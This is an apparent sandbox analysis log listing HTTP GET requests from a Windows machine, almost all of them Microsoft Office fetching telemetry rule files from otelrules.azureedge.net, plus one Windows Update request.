Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=4FVHXPsVhxKz9S8&MD=vks3goxo HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
